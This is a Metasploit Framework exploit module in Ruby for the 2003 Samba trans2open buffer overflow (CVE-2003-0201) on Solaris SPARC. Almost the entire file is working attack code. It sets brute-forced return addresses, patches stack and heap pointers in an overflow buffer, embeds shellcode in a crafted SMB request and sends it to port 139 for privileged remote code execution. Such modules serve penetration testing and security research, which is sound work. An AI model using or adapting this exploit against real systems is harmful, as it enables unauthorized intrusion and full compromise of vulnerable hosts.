metasploit-framework/modules/exploits/solaris/samba/trans2open.rb

163 lines
4.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Brute
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba trans2open Overflow (Solaris SPARC)',
'Description' => %q{
This exploits the buffer overflow found in Samba versions
2.2.0 to 2.2.8. This particular module is capable of
exploiting the flaw on Solaris SPARC systems that do not
have the noexec stack option set. Big thanks to MC and
valsmith for resolving a problem with the beta version of
this module.
},
'Author' => [ 'hdm', 'jduck' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2003-0201' ],
[ 'OSVDB', '4469' ],
[ 'BID', '7294' ],
[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'MinNops' => 512,
},
'Platform' => 'solaris',
'Targets' =>
[
[ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',
{
'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack
'Offset' => 1103,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffbffaf0 },
'Stop' => { 'Ret' => 0xffbfa000 },
'Step' => 128
}
}
],
[ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',
{
'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack
'Offset' => 1103,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffbefaf0 },
'Stop' => { 'Ret' => 0xffbea000 },
'Step' => 128
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 7 2003'
))
register_options(
[
Opt::RPORT(139)
], self.class)
end
def brute_exploit(addrs)
curr_ret = addrs['Ret']
begin
print_status("Trying return address 0x%.8x..." % curr_ret)
connect
smb_login
#
# The obstacle course:
# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
# smb_dump(smb_fn_name(type), 0, outbuf, outsize);
# return(outsize);
#
# This value *must* be 1988 to allow findrecv shellcode to work
pattern = rand_text_english(1988)
#
# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
#
# Patch the overwritten heap pointers
# substr($pattern, 1159, 4, pack('N', $target->[4]));
# substr($pattern, 1163, 4, pack('N', $target->[4]));
#
# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
# substr($pattern, 1195, 4, pack('N', 0xffffffff));
#
# Fix the frame pointer (need to check for null in address)
# substr($pattern, 1243, 4, pack('N', $target->[3]-64));
#
# Finally set the return address
# substr($pattern, 1247, 4, pack('N', $curr_ret));
#
#
# This method is more reliable against a wider range of targets
#
off = target['Offset']
ptr_to_non_zero = target['PtrToNonZero']
# Local variable pointer patches for early versions of 2.2.x
pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9
off += 36
# Overwrite heap pointers with a ptr to NULL at the top of the stack
pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10
off += 40
# Patch the type index into the smb_messages[] array...
# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
pattern[off, 20] = [0xffffffff].pack('N') * 5
off += 20
# This stream covers the framepointer and the return address
pattern[off, 400] = [curr_ret].pack('N') * 100
# Stuff the shellcode into the request
pattern[3, payload.encoded.length] = payload.encoded
trans =
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
pattern
sock.put(trans)
handler
disconnect
rescue EOFError
rescue => e
print_error("#{e}")
end
end
end